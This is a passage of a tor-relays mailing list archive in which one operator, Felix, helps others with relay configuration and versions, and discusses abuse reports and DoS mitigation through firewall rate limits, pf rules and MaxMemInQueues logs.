the Tor network Oct 25 21:23:26.000 [notice] Bootstrapped 90%: Establishing a Tor circuit Oct 25 21:23:27.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. Oct 25 21:23:27.000 [notice] Bootstrapped 100%: Done Oct 25 21:58:10.000 [notice] Interrupt: exiting cleanly. The torrc shows 'ORPORT' instead of 'ORPort'. I remember some issues with case sensitive torrc entries. Can you try 'ORPort' ? SocksPort 0 Log notice file /var/log/tor/notices.log RunAsDaemon 1 ORPORT 9001 DirPort 9030 ExitPolicy reject *.* Nickname Lebowski1 RelayBandwidthRate 200 KB RelayBandwidthBurst 400KB -> ORPort 9001 PS: *Lebowski1* how cool! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Exit Node shutdown
Hi Tyler Am 12.10.2018 um 14:41 schrieb Tyler Durden: > Our two exit nodes "chulak" and "aurora" will be terminated by the end > of this month. They were active for how long - forever? Chapeau! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Tor Relay Software Warns When Current RunningVersion Of Tor Is No Longer Recommended, But Not When A Newer Version IsAvailable?
Am 21.09.2018 um 00:39 schrieb teor: > >> On 21 Sep 2018, at 04:00, Keifer Bly wrote: >> >> So what would be an advised way to make sure tor is 100% up to date, besides >> the update command? Thank you. > > Since you are on macOS and using Homebrew, you should use "brew update". > No extra steps are needed. > > If you want, you can watch the logs for warnings that your tor version is > not recommended. And you can find the list of the good ones on your pc. All tor instances need a file `cached-microdesc-consensus´. Read the text and find the `client-versions´ line. Currently the entry says: client-versions 0.2.9.14,0.2.9.15,0.2.9.16,0.2.9.17,0.3.2.6-alpha,0.3.2.7-rc,0.3.2.8-rc,0.3.2.9,0.3.2.10,0.3.2.11,0.3.2.12,0.3.3.1-alpha,0.3.3.2-alpha,0.3.3.3-alpha,0.3.3.4-alpha,0.3.3.5-rc,0.3.3.6,0.3.3.7,0.3.3.8,0.3.3.9,0.3.3.10,0.3.4.1-alpha,0.3.4.2-alpha,0.3.4.3-alpha,0.3.4.4-rc,0.3.4.5-rc,0.3.4.6-rc,0.3.4.7-rc,0.3.4.8,0.3.5.1-alpha -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Help! TOR Relat dead after upgrading Ubuntu to 18.04
Hi Ben Am 19.09.2018 um 13:56 schrieb Ben Riley: > So I type 'tor' and get > Sep 19 21:34:24.819 [notice] Tor 0.3.4.8 (git-5da0e95e4871a0a1) running on > Linux with Libevent 2.1.8-stable, OpenSSL 1.1.0g, Zlib 1.2.11, Liblzma > 5.2.2, and Libzstd 1.3.3. > Sep 19 21:34:24.819 [notice] Tor can't help you if you use it wrong! Learn > how to be safe at https://www.torproject.org/download/download#warning > Sep 19 21:34:24.819 [notice] Read configuration file "/etc/tor/torrc". > Sep 19 21:34:24.823 [notice] Based on detected system memory, > MaxMemInQueues is set to 2862 MB. You can override this by setting > MaxMemInQueues by hand. > Sep 19 21:34:24.824 [notice] Scheduler type KIST has been enabled. > Sep 19 21:34:24.824 [notice] Opening Socks listener on 127.0.0.1:9050 First listener to port 9050 for localhost > Sep 19 21:34:24.824 [notice] Opening Control listener on 127.0.0.1:9051 > Sep 19 21:34:24.824 [notice] Opening OR listener on 0.0.0.0:9001 > Sep 19 21:34:24.824 [notice] Opening Directory listener on 0.0.0.0:9050 Second listener to port 9050 for all ips > Sep 19 21:34:24.824 [warn] Could not bind to 0.0.0.0:9050: Address already > in use. Is Tor already running?-- Your torrc wants tor to expect both socks AND directory requests at port 9050. Only one can. Check the torrc file and move the Dirport to 9030. Restart tor and check the log again if it works better. Somewhere should be the entry "Self-testing indicates your DirPort is reachable from the outside. Excellent." Same for Orport. If you dont't need socks you can change it to . I hope I got you right. Good luck! [] https://www.torproject.org/docs/tor-manual.html.en -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] New exit node - thanks
Hello livak Am 16.09.2018 um 13:01 schrieb livak: > Just wanted to tell I could set up a new relay with fingerprint > > Akbash 7C5032CF2545636FEECCE1065A25944FF49C09F7 > > The relay is been running for more than a day and gathered the > Exit, Fast, Running, V2Dir and Valid flags. > ... > > Livak Thanks for engaging and doing. Did you consider to reduce your exit policy a bit like: https://www.torproject.org/docs/faq.html.en#DefaultExitPorts or what you can find in the history of this list? -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Torservers relay family decreased?
Am 08.09.2018 um 09:43 schrieb Tobias Westerhever: Hi Tobias I understand your post is about specific larger exit entities. Unfortunately I do not know anything to that. Please let me 2-cent to some of your points. > However, there is a _huge_ relay family (27 members, with a > total bandwith of ~ 1,245 MB) located in 185.220.101.0/24 > The relays itself, however, all use protect.net> as contact address (which does not seem to > be related to Zwiebelfreunde at all) and use a description > beginning with "nifty". > Since most of them have both Guard and Exit flag assigned, > I figure they are handling a huge consensus weight. May-be you check nusenu's page [1] (Thanks n) > What puzzles me here is: > 1. None of these networks has any Tor relays known (or > Metrics does not show them), which is strange as > Torservers/Zwiebelfreunde is more or less dedicated to > operate relays. [2] shows for the extra info [3]: write-history 2018-09-07 16:49:44 (86400 s) 3061375466496,2883907476480,2783203408896,2792948759552,258185472 read-history 2018-09-07 16:49:44 (86400 s) 3076905330688,2882433369088,2788204746752,2786645703680,2708102009856 Which _is_ the bandwidth, but seems not to be displayed on metrics page, though. > Further, > I never observed any traffic from or to these networks. > If anybody does, please drop me a line. I checked some of my guard relays. No connections to: 37.218.246.0/24 193.235.207.0/24 192.36.61.0/24 192.36.41.0/24 192.36.27.0/24 185.220.102.0/24 But active inbound connections to: 185.220.101.0/24 (Tor between 0.3.2.10 and 0.3.3.9) > As of these coincidences, and the observations mentioned > in (a) and (b), I suspect something nasty (or highly unusual) > is going on, but I have no clue what this might be. Thank you for tracing this. [1] https://nusenu.github.io/OrNetStats/ [2] https://metrics.torproject.org/rs.html#details/B771AA877687F88E6F1CA5354756DF6C8A7B6B24 [3] http://185.220.101.32:10032/tor/extra/authority -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] can dirport be disabled on fallback directory?
Hi Am 19-May-18 um 16:28 schrieb starlight.201...@binnacle.cx: > Dirport is a handy convenience, but is not essential to proper > functioning of the network. Put a connection rate-limit on > dirport and it stopped the abuser cold. Dirport traffic went > from 15% of total back down to 1-2% where it belongs. > > Nonetheless the questions posed are valid. > > At 12:25 5/18/2018 -0400, starlight.201...@binnacle.cx wrote: >> Lately seeing escalating abuse traffic on the relay dirport, now up to 20k >> rotating source IP addresses per week. >> It makes sense to rate limit (syn/sec) and connection limit Dirport usage. I do this since years. The smaller a relay is the more it suffers from excessive clients. Can we get the DOS mitigation to perform it? As long as I observe this issue it behaves like the Orport misuse in the near past. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Abuses for non-exit relay
Happy today Since November my ISP and I received a hand full of abuses for a non-exit. It is about scanning ports and addresses of a certain let's say victim ISP. I received one other abuse with another server. For now I kindly want to ask if some operator received similar abuses for non-exits ? [1] Under my perspective it could be: - ip-spoofing. A third entity uses my ip and sends sync requests to the victim. There will never be a statefull connection, but the victim feels offended. As result the only one who gets trouble is me. - I got hacked (Uhh, don't like these words) which I suspect is not the case. Then statefull connections are possible and by scanning etc the attacker interfers the victim. We should not discuss this here. - There is some way out of the code which enables an attacker to perform solicited or unsolicited interference. Like [2] or not known or whatever. It is difficult to discuss with my ISP because the world expects the non-exits connect only inside the Tor network and onion services. Some facts: - The victim ISP hosts no relay - The relays are guards and potentially fallbacks (fallback and non-fallback share an ip) - I firewall blocked (outbound) all victim ISPs subnets. I logged some outbound trials but this could not stop the abuses. Why? May-be the victim ISP has changing ip ranges which usually happens from time to time or I do not know their subnets completely. Interesting was that one destination ip was x.x.x.0 which is subnet zero. - Currently I firewall block (inbound) all victim ISPs subnets and found log entries scanning (syn) my server on a non Tor port. Before blocking inbound, was there a way that someone from the vicitm ISP ip range can drive my relay (not server) to act like an offender back to the victims ISP? Pretty weired stuff but please swarm help! I apologize for my may-be foolish thoughts and please don't hit me too hard, though. [1] [tor-relays] abuse email for non-exit relay (masergy) https://lists.torproject.org/pipermail/tor-relays/2017-September/013030.html [2] Re to [1] https://lists.torproject.org/pipermail/tor-relays/2017-September/013041.html -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Api for atlas.torproject.org
Hey Am 16-Feb-18 um 02:26 schrieb flipchan: > Hey, > Im trying to write an ip checker script for a mail server/firewall and i > want to be able check if the ip is a tor relay, is their a api for > looking up ips on atlas.torproject.org ? > > Or any other easier way to do it in like python :) You can run a tor client and: # grep "a.b.c.d" /var/db/tor/cached-consensus -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Checking dos mitigation
Thanks for looking into this Am 14-Feb-18 um 00:25 schrieb teor: > >> On 14 Feb 2018, at 07:27, Felix <zwie...@quantentunnel.de> wrote: >> > You can adjust these options without recompiling using the > DoS* torrc options from the man page: > https://gitweb.torproject.org/tor.git/tree/doc/tor.1.txt#n2755 > > Otherwise, your relay will use the options from the consensus. I avoided using the consensus driven values for the moment and hardcoded the settings. >> 1) Drops off consensus for 1-2hours and returns w/o hsdir: >> DOS_CC_CIRCUIT_BURST_DEFAULT 90 >> DOS_CONN_MAX_CONCURRENT_COUNT_DEFAULT 100 >> FW: 20 connects per /32 ip, rate limited to 3 per sec. > > This happened to 1/6 of my guards too, we're trying to track down > the cause in #24902. > > It seems to happen by chance, otherwise, the lower settings > would cause it too. > > Your firewall may be responsible, my relay went back into the > consensus once I changed my firewall. > To 24902#comment:73 Not only with the new code. It was observed with 32x even more often laxer fw settings. What brings me to the early conclusion that in this case 90/100 on 33x acts similar to 32x. 50/50 on 33x does not show it. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Checking dos mitigation
Hi everybody I tried several setups for dos mitigation since the dos code is available and came to the following results, where I think 5) is promising and 2) or 3) are fine. 1) Drops off consensus for 1-2hours and returns w/o hsdir: DOS_CC_CIRCUIT_BURST_DEFAULT 90 DOS_CONN_MAX_CONCURRENT_COUNT_DEFAULT 100 FW: 20 connects per /32 ip, rate limited to 3 per sec. 2) Good (stable): DOS_CC_CIRCUIT_BURST_DEFAULT 50 DOS_CONN_MAX_CONCURRENT_COUNT_DEFAULT 50 FW: 20 connects per /32 ip, rate limited to 3 per sec. 3) Good (stable): DOS_CC_CIRCUIT_BURST_DEFAULT 20 DOS_CONN_MAX_CONCURRENT_COUNT_DEFAULT 20 FW: 20 connects per /32 ip, rate limited to 3 per sec. 4) Too conservative: DOS_CC_CIRCUIT_BURST_DEFAULT 10 DOS_CONN_MAX_CONCURRENT_COUNT_DEFAULT 10 FW: 20 connects per /32 ip, rate limited to 3 per sec. 5) Good (newly): DOS_CC_CIRCUIT_BURST_DEFAULT 50 DOS_CONN_MAX_CONCURRENT_COUNT_DEFAULT 50 FW: 100 connects per /32 ip, rate limited to 15 per sec. Some hack to grab dos ips, their counts and defenses shows the well known ones like a hand full new ones. But no surprises. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Disable CellStatistics !!!
Am 04-Feb-18 um 17:13 schrieb starlight.201...@binnacle.cx: > After many crashes and much pain, I determined that > having CellStatistics enabled causes a busy relay > to consume at least two or three _gigabytes_ of > additional memory. Relay operators with less than > 16GB per instance are advised to disable it. Thank you so much. I went crazy about sudden deaths of relays too. > CellStatistics can be turned off without restarting, > via the control-channel command > setconf CellStatistics=0 Without control-command one has to restart the service -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Experimental DoS mitigation is in tor master - log entry
Hi everbody Am 31-Jan-18 um 10:16 schrieb Roger Dingledine: > now is a great time to try it and let us know of > problems and/or successes. Currently just success. NTor is still pretty high, circuits and TAP 'normal'. cpu is difficult to say, still pumping lots of circuits anyway. Settings are consensus related. Two guards running since 6 hours and both show like: DoS mitigation since startup: 19085 circuits rejected, 14 marked addresses. 0 connections closed. 12 single hop clients refused. A middle (is long term guard and will get flag back soon) running since 10 hours shows: DoS mitigation since startup: 67877 circuits rejected, 6 marked addresses. 0 connections closed. 263 single hop clients refused. All are Freebsd and behind firewall, still: 20 connects per /32 ip, rate limited to 3 per sec. Immediate connection flushing, multi relay shared blocking table. Blocking duration 1 day per ip. Going to reduce fw after 24 hours step-by-step. Thanks for the nice peace of software! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Tor 0.3.2.9 Linux - too slow to handle this many circuit creation requests - Freebsd 0328r
Hi everybody Am 18-Jan-18 um 11:44 schrieb Stijn Jonker: > First message is at Jan 18 07:17:13, last just Jan 18 11:37:44, when > adding the # of circuits up, total in ~4 hours: 18033820 being 18 Million The same here: 7993419 circuits and 64009930 NTor in 4 hours (Freebsd, Jan 9th, Tor 0.3.2.8-rc) and there without the 'too slow to handle' warning: 17059168 circuits and 37961895 NTor in 3 hours (Freebsd, Jan 14th, Tor 0.3.2.8-rc) Interesting here is the memory went up to 15GB where MaxMemInQueues was set to 2GB. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Decline in relays
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Am 23-Oct-17 um 15:32 schrieb David Goulet: > Since July 2017, there has been a steady decline in relays from ~7k > to now ~6.5k. This is a bit unusual that is we don't see often such > a steady behavior of relays going offline (at least that I can > remember...). > > It could certainly be something normal here. However, we shouldn't > rule out a bug in tor as well. The steadyness of the decline makes > me a bit more worried than usual. > That being said, I don't have an easy way to list which relays went > offline during the decline (since July basically) to see if a > common pattern emerges. > > So few things. First, if anyone on this list noticed that their > relay went off the consensus while still having tor running, it is > a good time to inform this thread :). > > Second, anyone could have an idea of what possibly is going on that > is have one or more theories. Even better, if you have some tooling > to try to list which relays went offline, that would be _awesome_. a) Please find two pictures which show tap[1] and ntor[2] in 2016 and 2017 for a certain relay. Obviously the number of tap/ntor increases since July 2017. b) Taps becoming hourly massive on all my guards since October 2017. c) An other relay had the largest amount of taps. It received 6 million taps. The tap flood took 65 minutes and the tor cpu power went up from 60% before to 120-210% during the flood. I can not prove but because of outbound packet abuse letters from an ISP I start thinking if this is an other measure to damage guard/hsdir flags. Beside the enormous consumption of cpu resources. I hope this helps. [TAP 1] https://i.imgur.com/jDj3M5W.jpg [NTOR 2] https://i.imgur.com/jDncdMx.jpg - -- Cheers, Felix -BEGIN PGP SIGNATURE- Version: GnuPG v2 iQIcBAEBCAAGBQJaQi/cAAoJEF1W24InZUQdA48QAOy8CnnJGMkl+d9B844JE4uE vZ2L96OSFOCl7Au3l+V/dYIvgdMUUe4ju8hQHhzB0918IY8Y4lMngTTgptVfwhKv cb6RB6Ib8/1zfzLtmrEn6pdiHoUY2qlm7xB6lzsfaz3JT+KOTq1adzV9DSQAAkNV Cp0+jdpYX/X3T7OOXzSxUDmKiqaMu7K181agMeyybUFzIPEZgmRCdnYNHmD2W2aH zjBfSm5J1OncFcs5GwmtCKCUq5DVrjjmYZHLB4E91ExQafwcqLYfqAQDqh8ui0tW W9//fkgPxcNgQ5hOQq2Ucf7cZJ1I12fKCApBYtfgfq91sCtt2+sozNnr4u5d5Jxy JxiWX/t5MEWjvXcAy3jOYoPnTiuDHwG6EYWjomU+RpZwqJkdV00043a8F9UzYe67 O7/pRcDSZe3MdL7CkLZcirNMS0dSHPlxLWJCd0XlWPs5d8aW/F8kRFndQoisN7c7 zxeFFUs9/NRPCCXrzymX/rTgUtlvZ8xKjQ0K8v/giLXoNxTf02P5FK4pcD3Bu47m qGTqfiaBFywDvFA5+icDZICJqFxtBG+6W0tWO8K79w+oKmqEyk6TBKhZDZWcH1K4 Qu62tkOZs7Qp8jKz6M8kYWsr+ATO8+IWz6o/xWTZJPVeir8qsZShR71Xz4kGftu2 1Sar8xKb/lw+xQAOoV27 =Nqx3 -END PGP SIGNATURE- ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] 34c3
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Hi everybody Is there an assembly or room for a concourse of Tor people? Some coordinates like room number and utc would be apprechiated. Hope to see you folks there :) - -- Cheers, Felix -BEGIN PGP SIGNATURE- Version: GnuPG v2 iQIcBAEBCAAGBQJaQgVjAAoJEF1W24InZUQdSRgP/2g7ly+UhLA78YZqgGntOXbw jJZ4NPQSUHBggb+FHNUZeADajCVqfaLlSUpgkfl83OyciQuCWnirC8F0sO5pttp0 zJI9agcbaDza2d3uEQEg9ZqVR6doPlAHpnNlCtRmI+sOmvCIL6jna/XHVyIjxrb/ WcvJyK29GPLPzm/eGecs1dv+WtObTpOHtcI/UxXVUJBFQsrzrw6/kKfxvJmGVY/I GHg6IJQkKulVXxhfK+xoX0VLX+W3FD5lnsKfqAgD9ngTL/CB6jv+tbgtWvm4sIUh OaLcCYK4xOicyWj/FMyIHhAwo0Ges8uue++rFmJ5KXv1wn/+eUp6XvLdccpNKzVe KR/TuEdf+HFxLdbIMas9tsNjUpo3kqQSjqXSr67qbth7Bya8RQUp19RLZyIjc5Yy Ou5lmHt5tKd9iq9Jj8xwQbpu0ZvgUzX54Y53xXDVPpcd1NEE5LsaCi9cuhX65xBg MyFV7GuIWYL2BjpvQkLb10dSfKfpqW63F3cjR6aFSSieaBmEug62lNVk43N8W7Hi OxpNhex7gKb9oGxM5CEbYib2Cp3fUsDY7Fbp0ggIK2YglpTPm5QHqcLanlcJiinB OIdndAYTl+nHEr9hm4EDI9KmkFUqgzAKpBpm8h2Ku0pMSWEB+VRQY2eaGTBpDd15 vjZ+WwKjplS6mQZ/oLiq =L7/F -END PGP SIGNATURE- ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Recent wave of abuse on Tor guards
Am 22-Dec-17 um 08:25 schrieb niftybunny: > Still under heavy attack even with the MaxMemInQueues and 0.3.2.8-rc. I > need 2 xeons to push 30 mbit as a guard/middle … Do you want to share some information: Type i) (memory exhaustion by too many circuits) What is the memory(top) per tor and its MaxMemInQueues ? How many circuits per hour in log ? Type ii) (cpu exhaustion by too many 'half open' tor connections) Is your number of open files normal (fw in place) and moderate connection counts per remote IP ? Type iii) (One fills your server with too many long fat pipes, first ACK and RTT) If on Freebsd, is "mbuf clusters in use" (netstat -m) moderate ? Do you get "kern.ipc.nmbclusters limit reached" in messages ? -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Ongoing DDoS on the Network - Status
> If you are running a relay version >= 0.3.2.x (currently 281 relays in the > network), please update as soon as you can with the latest tarball or latest > git tag. Update as well if HSDir is still present? The network might loose the rare ones. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Recent wave of abuse on Tor guards
: Finishing handshake with first > hop. (Connection refused; CONNECTREFUSED; count 15; recommendation > warn; host 500FE4D6B529855A2F95A0CB34F2A10D5889E8C1 at > 134.19.177.109:443) Dec 21 16:35:32.000 [warn] 14 connections have > failed: Dec 21 16:35:32.000 [warn] 14 connections died in state > connect()ing with SSL state (No SSL object) Dec 21 16:35:32.000 [warn] > Problem bootstrapping. Stuck at 85%: Finishing handshake with first > hop. (Connection refused; CONNECTREFUSED; count 16; recommendation > warn; host 03DC081E4409631006EFCD3AF13AFAAF2B553FFC at > 185.32.221.201:443) Dec 21 16:35:32.000 [warn] 15 connections have > failed: Dec 21 16:35:32.000 [warn] 15 connections died in state > connect()ing with SSL state (No SSL object) Dec 21 16:35:32.000 > [notice] Bootstrapped 90%: Establishing a Tor circuit Dec 21 > 16:35:33.000 [warn] Problem bootstrapping. Stuck at 90%: Establishing a > Tor circuit. (Connection refused; CONNECTREFUSED; count 17; > recommendation warn; host 1FA8F638298645BE58AC905276680889CB795A94 at > 185.129.249.124:9001) Dec 21 16:35:33.000 [warn] 16 connections have > failed: Dec 21 16:35:33.000 [warn] 16 connections died in state > connect()ing with SSL state (No SSL object) Dec 21 16:35:33.000 [warn] > Problem bootstrapping. Stuck at 90%: Establishing a Tor circuit. > (Connection refused; CONNECTREFUSED; count 18; recommendation warn; > host DAC825BBF05D678ABDEA1C3086E8D99CF0BBF112 at 185.73.220.8:443) Dec > 21 16:35:33.000 [warn] 17 connections have failed: Dec 21 16:35:33.000 > [warn] 17 connections died in state connect()ing with SSL state (No > SSL object) Dec 21 16:35:33.000 [notice] Tor has successfully opened a > circuit. Looks like client functionality is working. Dec 21 > 16:35:33.000 [notice] Bootstrapped 100%: Done > > So - I get loads of CONNECTREFUSED whilst coming up (presumably because > of the attack) and then come fully back online. IMO your tor searches for guards and they are under load, gone or lost their guard flag. Finally you found a guard :) [1] https://lists.torproject.org/pipermail/tor-relays/2017-December/013839.html -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] botnet? abusing/attacking guard nodes by openssl?
Hi everybody > * if all 65535 connections on an IP were open to the Tor network, and > * the biggest Tor Guard has 0.91% Guard probability[0], then > * it would expect to see 597 connections. Sorry if this is a silly question, but do we know if these are Tor clients connecting our guards? We see many connects but not much circuits. Could someone get state by: openssl s_client -connect tor-guard-ip:tor-guard-orport -tls1 and establish awfull many tls connects without any circuit ? In this case there are like 64k outbound ports available and the necessary memory/cpu for openssl is much lower than for a regular Tor client. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Removed x bytes by killing y circuits
Hi > Do you see a log line that relates to which type of "Scheduler" you are using > such as: > > [notice] Scheduler type KIST has been enabled. It's Freebsd: [notice] Scheduler type KISTLite has been enabled. > It is seriously a huge amount of circuit and very little data. For isntance > 13344 bytes that is 0.013 MB for 594572 circuits is just weird. > > Is there a chance you are being DoS in some capacity? That is bunch of > circuits being opened constantly but with no traffic? You would see that with > many inbound connections and if they come from non relays also. This happens every some weeks to different relays. Inbound connections are on a normal level. I believe some client(?) tries a DoS type of circuit exhaustion, at least it seems. The number of circuits goes up to over a million. If it goes with much memory consumption the remove/killing comes along. > Another possibility is that Tor is failing to cleanup inactive circuits but > with more information, we can eliminate options more easily. What can I do ? The relay is still on with 3.4 GB. But circuits are pretty relaxed since five hours. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Removed x bytes by killing y circuits
Hi everybody Can someone explain the following tor log entry: Removed 528 bytes by killing 385780 circuits; 0 circuits remain alive. (it's the nicest one, see below) Memory stays at 3 - 4 GB before and after. Only tor restart gets rid of the memory. We love to remove 528 bytes. Tor log becomes 370 MB within 18 hours. Tor 0.3.2.6-alpha (git-87012d076ef58bb9) MaxMemInQueues 2 GB We receive some of these: Dec 14 00:11:00.000 [notice] Heartbeat: Tor's uptime is 8 days 3:00 hours, with 508694 circuits open. Dec 14 00:30:08.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 00:30:09.000 [notice] Removed 13344 bytes by killing 594572 circuits; 0 circuits remain alive. Also killed 3 non-linked directory connections. Dec 14 01:11:00.000 [notice] Heartbeat: Tor's uptime is 8 days 4:00 hours, with 67530 circuits open. Dec 14 02:07:16.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 02:07:17.000 [notice] Removed 206448 bytes by killing 484352 circuits; 0 circuits remain alive. Also killed 2 non-linked directory connections. Dec 14 03:11:00.000 [notice] Heartbeat: Tor's uptime is 8 days 6:00 hours, with 379182 circuits open. Dec 14 03:13:17.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 03:13:17.000 [notice] Removed 528 bytes by killing 385780 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. Dec 14 05:11:00.000 [notice] Heartbeat: Tor's uptime is 8 days 8:00 hours, with 303958 circuits open. Dec 14 05:15:17.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 05:15:18.000 [notice] Removed 528 bytes by killing 317854 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. and lots of: Dec 14 00:30:22.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 00:30:22.000 [notice] Removed 528 bytes by killing 221 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. Dec 14 00:30:22.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 00:30:22.000 [notice] Removed 528 bytes by killing 297 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. Dec 14 00:30:22.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 00:30:22.000 [notice] Removed 528 bytes by killing 395 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. Dec 14 00:30:22.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 00:30:22.000 [notice] Removed 528 bytes by killing 468 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. Dec 14 00:30:22.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Dec 14 00:30:22.000 [notice] Removed 528 bytes by killing 509 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. -- Thanks and cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] DoS attacks are real (probably)
Hi Alex
Great points.
> conntrack -L -p tcp --dport 9001 | awk '{print $5}' | sort | uniq -c |
> sort -n
On FreeBSD one can do:
In packetfilter:
# play with the numbers but more than 64k per ip if possible
set limit { frags 7, src-nodes 7, states 7, table-entries
10 }
table persist
# 2000 is super high. Rate limit 50 new connects per 5 secs
# overload but not flush
pass in on $if_ext inet proto tcp from any to $relay_ip port $or_port
flags S/SA modulate state (max-src-conn 2000,max-src-conn-rate
50/5,overload )
As cronjob:
# release block after 10 minutes
pfctl -t blockOR -T expire 600
These measures protect your system. IMO for other or future cases we
should keep the clients degree of freedom (researchers / fancy doers) as
high as possible, being not too restrictive.
> 1. Open many OR connections (hundreds to thousands)
> 2. Leave open until tor runs out of sockets
If the ip is saturated for like 2 hours the relay might loose the hsdir
flag. But today there are not enough resources in the game to generate
an issue for the network.
> I recommend against
> the blanket approach suggested previously of limiting whole sets of
> /24s, since that may inadvertently block mobile clients and is not
> effective against the current attack.
Right. In future one could put such loud clients besides useful ips a
let the relays block the usefull.
> 2. the connections do not taper off if they are rejected. I banned these
> addresses from accessing Tor, and they continue to make dozens of
> connection attempts every second from each IP address. this means that
> this is probably not a good faith "test" or a misconfigured set of real
> Tor clients, but is instead malicious and using a modified or custom
> client.
The above rule limits the useless attempts to a certain limit and
recovers after 10 minutes. This protects but gives the 'offender' the
chance to tune his client to a better behaviour (in case he wants it).
> 3c. it is almost certainly not real clients using NAT; as far as I know,
> LeaseWeb does not use NAT, and Online.net only uses one-to-one NAT.
Good point. A general blocking rule should be smart enough to enable NAT
clients anyway ?
--
Cheers, Felix
___
tor-relays mailing list
tor-relays@lists.torproject.org
https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] DoS attacks on multiple relays
Hi everybody > Looks scary. Interesting to see they all have high guard probabilities. :-? The reported numbers are nothing to scare about. 100 connects and more to a relay/subnet can be fine. As well to other servers like onion services. Lots of connections come with a good (temporary) position. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] DoS attacks on multiple relays
Hi null Am 04-Dec-17 um 20:40 schrieb null: > $ ss -s > Total: 15855 (kernel 0) > TCP: 24520 (estab 23969, closed 305, orphaned 31, synrecv 0, timewait > 261/0), ports 0 imho the attempts have tcp state. I experienced similar from a minor number of non relays. It seems like you gather too many statefull connects. The ips might not be evil. Heavy action can be you purge them or tcpdrop(8) before they hurt. Or connection limit by ip per firewall. -- Good luck and cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] MaxMemInQueues defends against 375000 circuits in 9 secs - not
